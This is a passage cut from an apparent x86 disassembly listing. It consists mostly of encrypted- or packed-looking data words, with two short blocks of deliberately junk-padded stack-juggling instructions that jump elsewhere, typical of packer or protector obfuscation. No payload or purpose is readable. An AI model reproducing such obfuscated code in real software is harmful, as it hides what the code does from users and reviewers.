0ACDBE524h, 168EA359h, 96F06542h, 5F0A8A9Eh, 0D439B63Eh dd 0CD85D3F7h, 64F559E9h, 0A4C9B25h, 2BA7D6B6h, 0F40A8A9Fh dd 5D61F091h, 0F0EF7ECAh, 8A9F217Dh, 43ABEA0Ah, 6B4134C5h dd 87DA8801h, 0C0A9E5C5h, 0E4C6E9C6h, 2E6FFE54h, 6FF267A6h dd 6AAB107Bh, 0E666F7DBh, 0FD8E0457h, 7350362Bh, 683E8F02h dd 0AF02480Ah, 0FCDEFC9Dh, 7052E369h, 714E6DDBh, 643BA2FCh dd 882A6BFEh, 1CCB1533h, 7D35C648h, 8682202Ch, 77D5685Bh dd 0E9C6A7E6h, 552A4174h, 0A5BBA04h, 0F8D775C8h, 0F91107CFh dd 428A0F44h, 0C643ADA3h, 409FE702h, 41F178CDh, 5BE9F1FEh dd 462766F7h, 0D5634768h, 2247737Dh, 42684764h, 62B995EDh dd 0D957014Fh, 32D130B8h, 0EFF82591h, 46F4C6C8h, 8F4B94C5h dd 0A9983F2Bh, 3AA7317Eh, 0F5488ADBh, 517757h, 0E2CC1E86h dd 0F3925550h, 0B5EB1362h, 29B7EBE4h, 0A3361829h, 66F751E6h dd 0D3F74627h, 1A7BCA82h, 0C6AF4CC6h, 0D68CFD75h, 0C7E9C983h dd 4387D676h, 587F5CF4h, 0CBB89858h, 1AC913E2h, 832FCC46h dd 0AD295C32h, 76EB649Eh, 0E2093251h, 0A6C70E03h, 70C1E7C7h dd 0C508DDCh, 0EE000000h, 0CFA2DDC2h, 4F967B6Ah, 0BD4F1185h dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah, 5E08950h dd 4, 8704E883h, 895C2404h db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax push 4486h mov [esp], esi mov esi, 606B0595h sub esi, 56121E24h and esi, 9F44F15h dec esi inc esi neg esi sub esi, 0F196C49Ch mov edi, esi pop esi push 288Fh mov [esp], esp add dword ptr [esp], 4 pop eax sub esp, 4 mov [esp], edi add dword ptr [esp], 398680Fh pop dword ptr [eax+8] sub dword ptr [eax+8], 398680Fh push dword ptr [esp] pop eax add esp, 4 mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_58442C ; --------------------------------------------------------------------------- dd 0F1ABF736h, 2E96C670h, 2B8D166h, 3061908h, 0EE0FFC5h dd 7A199520h, 112D43D9h, 0CA5BDC76h, 0B546106h, 583BD35Ch dd 9044A22h, 7D273248h, 0A17A5AC9h, 130E2E31h, 7C52826Fh dd 1F61FAEEh, 32489C32h, 844EA704h, 993E8A0Bh, 792AFCDCh dd 7022561Dh, 0DE08DE74h, 0E9342157h, 2Ah, 2347DA2Eh, 2520000h dd 8 dup(0) dd 70E90000h, 6800000Ch, 6190AF4h, 0FB3E3FE9h, 0C1468FFh dd 35E90619h, 68FFFB3Eh, 6190D90h, 0FB3E2BE9h, 0E7368FFh dd 21E90619h, 68FFFB3Eh, 6190F2Dh, 0FB3E17E9h, 110B68FFh dd 0DE90619h, 68FFFB3Eh, 61911CBh, 0FB3E03E9h, 130468FFh dd 0F9E90619h, 68FFFB3Dh, 6191427h, 0FB3DEFE9h, 0B7F812FFh dd 6B4499C9h, 0BCEF0D75h, 6F409EC6h, 1F806111h, 83190DC1h dd 335F415Eh, 79E9D7D4h, 2B574962h, 0EA04DECDh, 0E132A626h dd 1D0A428Dh, 4A6177F0h, 0CEDDFB89h, 0E641DBF4h, 3E3E6672h dd 0EA88883Eh, 0DF6AA238h, 0AD3EA180h, 89637B7Bh, 53DBE7D8h dd 0C0BC1523h, 0BD79B158h, 7325A038h, 63C58119h, 6E569B4Dh dd 33F21F90h, 7A5EB683h, 22087731h, 461AA919h, 204048CBh dd 15000000h, 79DD48D2h, 0A1BDEAD1h, 6DA6D83Eh, 783CE94Fh dd 8D56F4BDh, 0CA24EE1Dh, 113B448h, 77610000h, 96CE4A61h dd 1B9F1337h, 2C25B33Dh, 0AD663998h, 6EEAC117h, 91A708E6h dd 11B45440h, 6E5F2A6Dh, 18F4E097h, 7B6B5593h, 1B2F913h dd 9056F17h, 0B1F34494h, 0F6A9E1F7h, 54449404h, 0D989F7B4h dd 74ACACFFh, 2324EFh, 604BA014h, 0AC4390AAh, 279F9792h dd 3EA12E24h, 0E868D012h, 9D5D9609h, 0C1E1059Bh, 6678C45h dd 60CCF894h, 0FAAC02B4h, 839DD268h, 3518B0A8h, 23C74D22h dd 416175E1h, 2D9B683h, 0E7F779A9h, 5C850D2Bh, 0A03BD343h dd 80F4C60Bh, 3B8F4467h, 7F93839Dh, 43889D07h, 89396BB7h dd 67797063h, 0F51DBB1Dh, 7B16930Ch, 0A871003Fh, 0A020A7Fh dd 8F6B0000h, 3BD2C220h, 86660E74h, 37C7BB25h, 775A0A78h dd 1006BA28h, 584A557Ch, 2E0CB2Ch, 50327992h, 0F9E7C424h dd 39AB1BE3h, 0F428DE2h, 5A77EB12h, 0D1275B45h, 0B1623DA4h dd 0FB6DDD59h, 0D14494E8h, 0F9DD598Fh, 94E8E751h, 95343544h dd 0ABC0A560h, 0CD53E517h, 0F748D2E6h, 5A21DE17h, 0C63278D7h dd 9400AF4Eh, 3D7D3679h, 746BDBBBh, 523EA1F5h, 1FF82810h dd 7B30CB28h, 7F608436h, 0A47D113h, 346B96FEh, 5DAD4B7Fh dd 0BD790DE7h, 0BB8F5C02h, 0C0F1AE53h, 3B7833D4h, 4BAF497Fh dd 48CB15BCh, 68DC6C68h, 60BD7901h, 0B4761C1Eh, 92000000h dd 13C0DF02h, 773221B7h, 0FB894A61h, 327993D6h, 1E413B78h dd 0EC4494E5h, 51419F0Ch, 30BFF4B7h, 0AB1B1B16h, 0C15E25A0h dd 616E5496h, 0E8EC6CC7h, 0F460E8ECh, 0C4BD7806h, 69E0A82h dd 566EBD78h, 0B88E96C8h, 44D614CFh, 4CDF34C8h, 38D0C4C7h dd 0B7421BCCh, 0D8408ABCh, 3ED09938h, 19493771h, 59E2E7B8h dd 8670FFD2h, 8E21C9Dh, 6F8B0000h, 0DB326240h, 6686EED4h dd 0D7275B45h, 577AEAD8h, 0F0665A48h, 0B82A755Ch, 22802BCCh dd 0B0129972h, 198724C4h, 0D94BBBC3h, 0AF428DE4h, 0E3FB8BB2h dd 0CD06ED6Ah, 88634F90h, 547D1523h, 0CB2D554Bh, 0FBD302E0h dd 0E8056F17h, 0B1F34494h, 0EC0DEB27h, 94E8E85Ch, 6C9EE044h dd 0BABB1DA7h, 71498A21h, 0EA744937h, 0CC2FD73Fh, 3E3EA1F7h dd 146B25Ah, 0F436BD78h, 0BC3E6180h, 0E7DD1648h, 3C289A11h dd 0EAE20F9Ch, 44A22253h, 43172492h, 2E4DB74Fh, 93B3632h dd 6645A3EFh, 0E7048C7Ch, 1DBB0FC4h, 8A6213F5h, 1E1AF021h dd 322E3AAEh, 1AD01236h, 2E7CE3D9h, 825A3632h, 0F5DCE829h dd 0EAC69AAh, 0EAA82345h, 3C6F89E1h, 0F1BA1E46h, 0D2E0DD05h dd 88E750A4h, 0E06B6172h, 69760F7h, 0D5338B58h, 6078ECD6h dd 0CF59864Bh, 1154F464h, 74C079Ch, 0AC5E4D9Fh, 949FA936h dd 0A3E924A4h, 0D4F5232h, 0D471E8E4h, 886C2214h, 0FBB8F308h dd 5F361DD9h, 60AA58A4h, 0C73704DAh, 0D7A6EB38h, 4C45Eh dd 93FB3700h, 9880316Eh, 94E884F0h, 78327444h, 4BCDE2FCh dd 94E855BFh, 0F8B52B44h, 3D9B4494h, 0CFBB6B1Ch, 50F19BC3h dd 374A770Fh, 6B4BC133h, 7385B7BBh, 6B4BA117h, 0B5700ABBh dd 61C6C941h, 0C848C15Eh, 265E7C2Fh, 0B0614AAEh, 621B905Ah dd 0B7771558h, 766ED8Ch, 0F3070000h, 3F9EC6BCh, 8A621270h dd 3BD3BF21h, 7B660E74h, 1C12BE24h, 643E6180h, 0EED4D730h dd 5C466586h, 0E5DBD028h, 2D972FD7h, 1B428DE5h, 6177E72Eh dd 0F7F894Ah, 4A617BFEh, 3A773189h, 0AFF9B24Ah, 0B93A4429h dd 0D73F8922h, 0ABE1F72Fh, 0A921353Eh, 0BD721F3Fh, 6748A50Dh dd 809A50AAh, 58718C04h, 0A2EC238Eh, 6FA466B0h, 0EBC0179Bh dd 2216D426h, 9D5655B2h, 0A145DB5Dh, 45D3DC31h, 375136DCh dd 0F58CFCFCh, 13C74738h, 447DEDD1h, 2D66E07Ch, 0A8201813h dd 7AD381F5h, 9A637D7h, 9CE8F2C8h, 8666EE6Ah, 589219EFh dd 78D95F9Bh, 0E652DD67h, 0FE8C5B66h, 0BB1DB500h, 0F107C3F0h dd 67E74F91h, 0B61E1A91h, 61995A51h, 0CCE355F5h, 0A7D97CD8h dd 85630F91h, 302A526h, 6C57B575h, 6834Dh, 9F10EA00h, 0F3BC5141h dd 0A407E58Dh, 0F7B8563Eh, 0A7F8D989h, 0FB918539h, 0ABD7C9D6h dd 11815F4Ch, 0A3CFB1FAh, 627C6645h, 0E6BA2E9Eh, 9592428Dh dd 0DD48D268h, 7203D979h, 27E3108Fh, 0C73F57E1h, 3EA1F754h dd 0A133E022h, 76AF6447h, 64FEFBC8h, 1056F17h, 7BF3BD78h dd 66A44D62h, 0B2F266A4h, 0EF4A3544h, 69E1553Bh, 0BD7834FFh dd 997D9BCDh, 4D2B8EF1h, 483A6CC7h, 9CDD30A0h, 9E3C6E41h dd 4D2DF66Eh, 2D6ADEB7h, 0B3CDB74Dh, 0AE088078h, 5ACD7224h dd 64D1EB28h, 0E6A95453h, 0D9E89DBEh, 6015ADFEh, 4CC05A26h dd 80643C3h, 38823C5h, 6AE9B156h, 0C9E1D8C3h, 0A4000005h dd 0B776946h, 0AFE3BDF2h, 744E5Dh, 0B3DFC1EEh, 3F6F514Eh dd 0FBA44DCFh, 0B1FADD85h, 6348A3CFh, 0B8F3157Dh, 7C0CF4CAh dd 428DE708h, 0D2BA0300h, 5754A748h, 8125A591h, 773EABE1h dd 0FEB3F80Fh, 1F06721Ah, 0B4F6BD72h, 95FFB4F6h, 754A3873h dd 39142E5h, 1252C6E5h, 0D37BFE53h, 5BC55303h, 19DAD127h dd 0B55E4DABh, 0B0203418h, 0E95B4F5Ch, 0DFBD7250h, 0F8C19B9Dh dd 0F36348A0h, 50FD67DFh, 0FDDBBD72h, 0BDC505AEh, 0B5EA078Bh dd 0E63CBEFCh, 0C0485766h, 1A2FB48h, 0D2C80000h, 5D79DD48h dd 0E867D179h, 89654494h, 950DED26h, 0DE6F466Dh, 0DA10BC5Ch dd 2BADFEDAh, 0A1B884DFh, 8330723Eh, 9F098195h, 0CDBD79D9h dd 339441D0h, 95FD8545h, 64763477h, 793FB228h, 0EAF797BDh dd 60D853EDh, 4C2C8DE8h, 76637BC7h, 3119FA36h, 347639D5h dd 80580C76h, 0FADEE62Bh, 8849567Bh, 60807832h, 0FE575913h dd 48DA606Fh, 0D642ED77h, 0F1BA52C2h, 9CF00AC0h, 0CD7BFA09h dd 0DDB84B93h, 1FC661A8h, 0BF376919h, 0EAF0BF4Fh, 0DC6DD3E9h dd 0D278A952h, 0D86A9909h, 1EB65CE0h, 9C1F2B9h, 20A1EFh dd 0D2720000h, 0D179DD48h, 3EA1BDEAh, 4F6DA6D8h, 0BD783CE9h dd 1D8D56F4h, 48CA24EEh, 0C8B4h, 61776100h, 0A646CE4Ah dd 0F6DEF305h, 2F805E0Bh, 0AC4C3879h, 2AC717FFh, 608D2E39h dd 70D8F9FFh, 0E170E464h, 83584494h, 0D06A9C28h, 0B555A444h dd 4494E143h, 6C8B0739h, 6317893Fh, 4494EC38h, 0DFC1EA0Eh dd 32479737h, 0EC1ED3DCh, 49D31C1Eh, 465E7ADEh, 59E134D5h dd 0F0DC1335h, 880C70F4h, 0F654B842h, 0F23EA061h, 29C848B0h dd 79580C76h, 5DDEA526h, 406B7713h, 3EB49h, 47688200h dd 0DBD42959h, 4C5F7DE5h, 0DFD02E56h, 2F709101h, 73E95D51h dd 0C3AF118Eh, 69198724h, 0BBA71992h, 9A348E1Dh, 0F9E256F6h dd 0EDDA428Dh dd 0F5A77A0h, 88FAB0FFh, 47AFFCDCh, 8B1C6D17h, 6480AA46h dd 0DCD052A2h, 5CC6541Bh, 7893FB69h, 23D0DBFDh, 7B1721E7h dd 2FA54E5Dh, 0C5F0D2D9h, 9568096Fh, 6899FF44h, 48D2BB6Bh dd 0ED5D79DDh, 0BB6B687Bh, 0D090F51h, 8CE0D909h, 0D9BDB9Ch dd 0FE5216F5h, 667480B8h, 54B38026h, 0FD1078C1h, 0FFC901B2h dd 0BA5246D2h, 0BD72A14Eh, 1EE0C3Eh, 0BC4CCC67h, 0C747A019h dd 39AB1B0Fh, 1FB747A0h, 0A0E2E2C9h, 26A4616Ah, 0E3970FCh dd 32B7Bh, 7A84200h, 9B14E999h, 0C9F3D25h, 9F10EE96h, 0EFB05141h dd 0B3291D91h, 36F514Eh, 0A9D9C7E4h, 0FB675952h, 0DAF4CEDDh dd 0F9229636h, 2D1A428Dh, 4A6177E0h, 0F3937F89h, 4494E881h dd 5FB34577h, 2FC02289h, 3A1E1A15h, 94E82692h, 3F9E1644h dd 41874370h, 0DC67DFB7h, 0AA3EA1F6h, 0C503AC42h, 208700Ch dd 3515BD78h, 5108582Ch, 9F2F89F5h, 627242ADh, 408AE2CAh dd 0EFB342BAh, 43D748CAh, 0AC000000h, 327993FBh, 72BDC7A8h dd 8EFA9286h, 7E4494E8h, 0EEEAAE4Ch, 0E92A8166h, 9C830711h dd 6A3EA1BDh, 9B017B38h, 86BD783Ch, 5E1BF262h, 6177317Ah dd 7A1AEEFBh, 4AB24857h, 48CA24BBh, 0BEDFh, 93FBB400h dd 0CFDCFC79h, 3622D819h, 94E82296h, 52E81A44h, 0B94F26C2h dd 0D09C1F2h, 94E80B7Dh, 9BF0144h, 8A15BCC8h, 0E9D3B49h dd 0E019EFE5h, 94E8FC68h, 509ACC44h, 0E547FA72h, 23C54494h dd 8E6A1A88h, 213BF41Dh, 3F7A1206h, 0EDC15E22h, 6EF8C5BBh dd 0A1B353C3h, 57C74C88h, 628F1CEFh, 5EF662A8h, 0CEB62C73h dd 20EF7C23h, 0D570FFFEh, 1F2CFEAh, 5F7B0000h, 0EB027250h dd 56B6DEC4h, 0E7F76B55h, 47AADAC8h, 0C0366A58h, 88FAA54Ch dd 0D2B0FBDCh, 806249A2h, 0C9B7F414h, 97B0BF3h, 0FF428DFBh dd 5A77BB02h, 1EE94A5Fh, 6F39FFB3h, 24876111h, 320A5ABEh dd 0E6FFAC6Eh, 0D2646F89h, 5D79DD48h, 0E867D179h, 14B54494h dd 0D8098035h, 0AF497B07h, 0A121645Bh, 0F320623Eh, 798763D9h dd 13E07EBDh, 0CB9F14A3h, 0FB3A48h, 770B0000h, 0B956461h dd 6BF4FFDDh, 268392B7h, 5A903A4Ch, 0D9C62B99h, 0F9A418h dd 0BFD34494h, 9408DD47h, 5F79AB44h, 62D6D533h, 0E041CE42h dd 0D36546EBh, 0B2C3254Dh, 885F535Ch, 6571E523h, 947A73E5h dd 1174944h, 2A051FD0h, 0CFA2A2Eh, 0F99B321Eh, 0CC2F2AF3h dd 91DF9D18h, 94BE8FF9h, 7D4B7D44h, 8F940F7Bh, 40823EA1h dd 0D84CBCD8h, 0B0BD79CDh, 0A9366C6Eh, 24A4949Fh, 0C74D6231h dd 0F161D507h, 0FB6DDD10h, 0D1B74396h, 0FB67598Fh, 5AC717D6h dd 0BADAFEEFh, 0D2EE5A52h, 0ACDEB743h, 18746D5Eh, 56417100h dd 0CF63h, 733C9E00h, 2788650Dh, 7833C9B9h, 2B845A0Ah dd 7B24CDB5h, 27A59905h, 77EBD5CAh, 2D554B60h, 8F03DDCEh dd 7E503279h, 0FC86F29Ah, 7976428Dh, 455A774Ch, 0C523AB5Bh dd 28C054E6h, 0E8CF39D1h, 8BBD4494h, 9FB3633Dh, 94E8BD27h dd 0BF598B44h, 14617794h, 0BEFCB5FAh, 1BBDC70Ch, 839D3290h dd 9218B0A8h, 223EABE1h, 625259B2h, 17F3207Fh, 0D73F8101h dd 90EE4887h, 7583292Dh, 1B90685Ch, 5A1BBDA5h, 980C7C7Dh dd 70BD725Dh, 852E7C2Eh, 81156507h, 644BA3E6h, 0E5C625AFh dd 0D19AB82Ch, 7E4C5F79h, 92EAF767h, 174B3576h, 9B29EAC1h dd 0D6D53643h, 0E62BDD1Dh, 0F04811BDh, 452D9318h, 7536D2A3h dd 874C7E3Ch, 3F2h, 5940C300h, 874C6377h, 23D0DBFDh, 0A0515AB1h dd 1BD8D334h, 9A5748A9h, 1BD8C72Ah, 995A55A9h, 19DAD12Bh dd 0B45D52ABh db 52h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx mov edx, 32992C17h inc edx push ecx mov ecx, 34802583h xor edx, ecx pop ecx push esp mov ecx, [esp] add esp, 4 push 281Eh mov [esp], edx pop dword ptr [ecx+8] mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_590A54 ; --------------------------------------------------------------------------- dd 0DE0E43A6h, 0B88C6892h, 619151Bh, 0E0FFC503h, 1424D1Dh dd 3190D8A8h, 6F72918h, 60AA64E5h, 7AC0FA32h, 79882DA2h dd 6ADD31EEh, 44D50340h, 48DDF108h, 4174D687h, 1CF64826h dd 309DAA41h, 61ED589h, 33F282B6h, 9EE9h, 79175F00h, 0F5CC474Fh dd 0D138F3BAh, 0ABAFD666h, 4DB2979Fh, 95B7E37Ch, 0A9E57200h dd 0B69CB5E9h, 0F377609Bh, 0B794A9B6h, 60D7609Eh, 0A9BD897Dh dd 9EBD8C9Eh, 95ACE372h, 0B98B204Ah, 89937E9Bh, 0F496B99Dh dd 0A19E96AFh, 0A7D6B594h, 0D100FD91h, 594ACC48h, 713C33h dd 57DB4D52h, 0B6005EF3h, 899DBBEFh, 899500BDh, 0BBEFB69Fh dd 0B6D00097h, 7155C3B1h, 0A4370052h, 10D3C20Dh, 0E09h dd 7 dup(0) dd 0E9000000h, 10E1h, 1918C568h, 6ABEE906h, 9C68FFFAh dd 0E9061919h, 0FFFA6AB4h, 191A9168h, 6AAAE906h, 0CC68FFFAh dd 0E906191Bh, 0FFFA6AA0h, 191C4568h, 6A96E906h, 3168FFFAh dd 0E906191Dh, 0FFFA6A8Ch, 191DD768h, 6A82E906h, 9F68FFFAh dd 0E906191Eh, 0FFFA6A78h, 191F7168h, 6A6EE906h, 8D68FFFAh dd 0E9061920h, 0FFFA6A64h, 19213968h, 6A5AE906h, 0BE68FFFAh dd 0E9061922h, 0FFFA6A50h, 19249668h, 6A46E906h, 0A768FFFAh dd 0E9061925h, 0FFFA6A3Ch, 0DFFF57E3h, 0C5E569F9h, 0D9F951E3h dd 0CAE868F7h, 0DBFB59E8h, 972647E8h, 0AD3B1DBDh, 902305A5h dd 0A5381AB8h, 153A07A7h, 0B6CC66E0h, 48FA2F16h, 0FD4BE0C2h dd 0FC50E1F3h, 0FA4C6E6Dh, 3C840554h, 2685C71Ah, 14401E09h dd 7B8A5BD4h, 9E46900Ah, 92345910h, 0DF3E0F41h, 0C4E6C715h dd 0D64D1874h, 0DDBD5CFh, 6CF9DD6Ch, 932589E8h, 0D8112DB7h dd 0A1DC11AEh, 2A168F68h, 0AB2B5AEBh, 0E70A8B63h, 0ADA33457h dd 0C597DCCh, 0ABDAF948h, 0A8B642Fh, 0CD3F95F8h, 0CA16833Ch dd 764254F2h, 0C744CE17h, 0AC28D7A5h, 497F5Ah, 0C2E30000h dd 0F3FD4BE0h, 0C7E4A2C7h, 8E98B796h, 34058816h, 0BF123817h dd 2C5DBC8Dh, 0A8A88B2h, 33D21A7Bh, 0A8A88D3h, 0C392C20Fh dd 1322327Fh, 0FF693FDh, 8DAF4CC6h, 5AAD3ECFh, 0EF77h dd 0CD5F4800h, 0B4D13F73h, 0C215BF09h, 0B8004EE0h, 0AA094396h dd 0B4FE588Dh, 46C7109Dh, 5EEBEF7Eh, 0D26367F6h, 27725D7Ah dd 0A943E543h, 0B496559Fh, 588B2B21h, 109E24E3h, 7452FA4Bh dd 7251FB4Eh, 0FB17154Dh, 0C81616h, 681E4361h, 0F7466C4Bh dd 11F4935Dh, 0EA168F01h, 67F654E8h, 0FA548926h, 0C30A8AEDh dd 83832342h, 0A78B285Eh, 0E4253414h, 8B8EFFDCh, 0D4107557h dd 450882F3h, 4CD10475h, 55E3E784h, 862D6CFDh, 8D01C4Ch dd 0DFBEFEh, 0E9C98BDAh, 207AEBCCh, 0E9047514h, 0AB3A1CA4h dd 6DFC56E6h, 0E475D969h, 0B0A5C4A5h, 79F92B9Dh, 0DBC603AAh dd 8200000Dh, 9E842234h, 3E64420Ch, 604260EAh, 0FF2181CFh dd 1104A2B2h, 0F460ED1Eh, 0EE64F4D6h, 0F355EAD0h, 0F05CEDD3h dd 97C609D2h, 16B6CD3Bh, 0BDB18D04h, 0E4C6E470h, 7DDBFB51h dd 0E7BADDC2h, 2CD1AA62h, 355198A4h, 3E91B996h, 6FFF5B0Ah dd 45C8109Eh, 2E2F5E7Bh, 0FF168F53h, 0F3A410D8h, 95C2E961h dd 958392Dh, 8B581A78h, 0A415710Ah, 0AC49B878h, 0B8205Ah dd 0BD360000h, 0BF8B1D6Ch, 0FE4B8FDEh, 1760756h, 6E109DB1h dd 756FC4Ch, 0C91C3E86h, 0ACFD2383h, 4E9391A0h, 49BC9B38h dd 109DAFCDh, 25587796h, 109DAFA9h, 8CC91372h, 8EB57459h dd 0EAC84D16h, 0F4D3B3AEh, 75006D81h, 88276610h, 2A7E13A2h dd 3F614120h, 0ACEF62F2h, 0E579F912h, 0D040B46h, 0D590000h dd 0F7476949h, 0FF517757h, 0F6456B4Bh, 7567C5Ah, 0F13E6D4Dh dd 0A7074D9Ch, 0BF1F3381h, 0A4024699h, 81212B7Eh, 0EC6697B8h dd 0B516B6CDh, 70BD025Ch, 75E8C7E4h, 109DB519h, 3B19A3E2h dd 0A8A6381Ah, 0B19B2E20h, 0CF0D2D12h, 5BF57BF3h, 40624391h dd 0B0D160EEh, 6CBDAE28h, 4D7251E0h, 0B8D18C4Bh, 0C11D5094h dd 8A109E40h, 0EF456A0Bh, 620325C7h, 72C315DFh, 85D5FDDAh dd 0EFD1FFC9h, 7F5CED5Dh, 0F140085Bh, 0B3064890h, 361C3999h dd 7796A7A1h, 5576676Dh, 285D7A0Ch, 168FA489h, 0F5987B9Ah dd 0E1057294h, 0C918ABB6h, 4998BA8Bh, 0AC0B6A0Bh, 0F267BC39h dd 0C40A3518h, 0EBA35078h, 0D134B13Bh, 0F1644380h, 0CEDE595h dd 89B53F5Eh, 54892660h, 12DBFA27h, 70527194h, 67506FDDh dd 282217DEh, 3422AA2Ch, 0DC91BB0Eh, 7C5B01A5h, 0F2623CAh dd 4E00000Ch, 52785600h, 4A704E00h, 547654F6h, 4B6D4D03h dd 457856FEh, 203481EAh, 4210A082h, 5FE93E64h, 4408597Fh dd 3725D66h, 16B6CE87h, 0BD65D950h, 0DCC3E06Ch, 835F5BB5h dd 0A489889h, 0A602616Bh, 79ECCBBBh, 168F2990h, 0AB8F2C71h dd 3E92341Ch, 9A96C40Ch, 6598374Fh, 107C1338h, 0DC2D3C61h dd 478137Eh, 18292BBAh, 99A8A236h, 85700983h, 1339D23Ch dd 509BB445h, 42EDh, 0E5C25100h, 9DB51670h, 58FA4A10h dd 5ABB8809h, 4B3B2692h, 0FB24F96Ch, 0B8DD168Eh, 0A4A4371Bh dd 6579D706h, 20B10A8Ah, 17AC8E2Ch, 5F252031h, 600000Bh dd 8AFB8F24h, 0A8A6510h, 84D5B4D9h, 0C221BB05h, 6EFF4DE0h dd 5099A52Fh, 0A29F7270h, 3E5F4A7Bh, 0A599BEA1h, 7BD56684h dd 0AB246954h, 9E2CE03Ah, 564A910h, 1B3A4CBBh, 0D2331685h dd 0D7CCDF5h, 0D5F594C0h, 5BEA62F3h, 4D07567Ch, 0C688DAFCh dd 0C8211DA7h, 67EC21BEh, 44106C03h, 6DC0E2C1h, 1DEFFDFh dd 6C00128Ch, 65F7DB04h, 1A3C84E5h, 78B485C7h, 47B61571h dd 0A5CE00Ah, 103F3253h, 2173DCF7h, 0AD44F8Ah, 3D890000h dd 4797B919h, 2F81A707h, 4695BB1Bh, 3786AC0Ah, 0A18EBD1Dh dd 7757FD4Ch, 6F4F0351h, 7452F649h, 7151FB4Eh, 9CF66768h dd 6516B6CFh, 1270122Ch, 53109DB5h, 4B70E06Fh, 0BD69819Fh dd 9B9721E3h, 0F2634046h, 1684DB95h, 9E842362h, 1F297E0Bh dd 12232BBBh, 0E3492F3h, 64C091BBh, 3BAA097Dh, 1075C952h dd 22327FA3h, 95C84D9Ah, 79F5DD20h, 5B93CE5Dh, 200000Ah dd 1E04A2B4h, 0BEE4C28Ch, 0E0C2E06Ah, 7FA1014Fh, 91842232h dd 74E06D9Eh, 6EE47456h, 73D56A50h, 70DC6D53h, 17468952h dd 16B6D0BBh, 0BD310D84h, 6D51E06Ch, 6F5370DCh, 0BDDC6DDDh dd 4192B433h, 0C71C3E0Fh, 84E56FBEh, 5BF022B5h, 7405856Ah dd 41E68848h, 3456AA3h, 87DF1920h, 6621783Dh, 83204F41h dd 531E239h, 0A3780000h, 756902BEh, 1DB2F6A7h, 0BEDFBE8Ah dd 417BEC21h, 0ED301685h, 0F359ECCEh, 0F45EEED4h, 0BE9C2465h dd 5D45499Ch, 54B584D0h, 853CA925h, 0FE4ADD0Ah, 0FC212E6Fh dd 0AB8FCC9Dh, 58A73119h, 0A853CFAh, 1F03C51Ch, 6CADBC8Ch dd 853CA1FDh, 4A2B6A0Ah, 58F4456Dh, 0DB6AE476h, 0B02532BAh dd 10762EC9h, 70EE351Ah, 42329826h, 7BEAED7Ah, 472931Fh dd 91C4A5E8h, 79F6AA2Eh, 6FB59057h, 0EE000009h, 0F2D8F660h dd 0EAD0EE60h, 0F4D6F456h, 0EBCDED63h, 0E5D8F65Eh, 0C094214Ah dd 0E270C0E2h, 0FF49DEC4h, 0E468F9DFh, 0A3D2FDC6h, 16B6D227h dd 0BD85B9F0h, 0FD8F1D6Ch, 942F3AE9h, 1E2F4E7Dh, 8BCF9EFFh dd 3C43123Ah, 0A58A3DCEh, 0F37E5886h, 7DE5EFAFh, 0A341CBBFh dd 45627h, 12703B00h, 34109DB5h, 5D7A592Dh, 75769772h dd 3AAB976Dh, 109E6DE0h, 0BB0564A9h, 855C114Ch, 9C3B5A16h dd 892923B6h, 273616A7h, 9A6E009h, 0ADBC9021h, 533216A9h dd 30194C89h, 11107649h, 5D70D98Ch, 0E68579F6h, 8C9EBh dd 10469400h, 103E90B2h, 0E3C90B2h, 17398AB0h, 104491B7h dd 3FAC83B2h, 5E4462F2h, 42684CEh, 173999AFh, 1B2886C6h dd 0D245C134h, 9B0E16B6h, 1CDDC2A7h, 0A47AE421h, 6B0A4695h dd 6EDE6F61h, 0E26AFBDFh, 0AD1EAC53h, 41DEB17Fh, 3B919A3h dd 703D0000h, 109DB518h, 7453332Eh, 0B4A82253h, 2C71109Dh dd 0B5045E8Fh, 48CD109Dh, 0F2225380h, 971684A2h, 0D56520B3h dd 0C8A9E879h, 85226300h, 7D2E8F9Ah, 0FAC29814h, 48D5FADDh dd 91C2C040h, 2B7ED018h, 0E9F8121h, 5EA0378h, 22436387h dd 0BACC1513h, 621E321Dh, 4B3997FAh, 0A4215481h, 6D107542h dd 2C9FFB6Ah, 25680471h dd 43821144h, 24C379F5h, 80129h, 480E5C00h, 58F6486Ah dd 4604587Ah, 5FF14268h, 480C597Fh, 97F43B6Ah, 86AC0A4Ah dd 9CBE1C36h, 7FA10147h, 0B3C01E2Eh, 0D2DD39ACh, 73A616B6h dd 0E06CBDCFh, 1507251h, 1F830253h, 0D5F7C191h, 9179C884h dd 82CC5E44h, 873BD03Ah, 1CB81636h, 0A341EA5Ch, 72EC213Eh dd 3B109DC1h, 0C8B12DAh, 0AF000000h, 2DAC4h, 71C3E700h dd 70450FD9h, 109DB518h, 4090332Eh, 6E547312h, 78656FD9h dd 84A2D805h, 0F7497116h, 39830253h, 684A69ACh, 6F5877D5h dd 0A91D10EBh, 59836F88h, 1B1DBF95h, 3E64727Ah, 604261EBh dd 53B283D1h, 0DC6DDD6Fh, 78B433BDh, 99B61571h, 8B1675AEh dd 0CC148EC2h, 756DE03Dh, 0F164A910h, 79F56E6Ch, 2FF7D299h dd 2E000007h, 3218B6A0h, 2A10AEA0h, 3416B496h, 2B0DADA3h dd 2518B69Eh, 54E10Ah, 223080A2h, 3F099E84h, 2428B99Fh dd 6392BD86h, 16B6D3E7h, 0BDC579B0h, 0E4C3E06Ch, 9DB51571h dd 8C01DE10h, 109DB512h, 11DBBADBh, 6D527552h, 4DBA4352h dd 76D08166h, 3F109DECh, 71C416DEh, 6848ADBh, 1D6CBD75h dd 0E167FC8Bh, 0E4C1E180h, 1571E4C3h, 0DE109DECh, 0EC54CEBFh dd 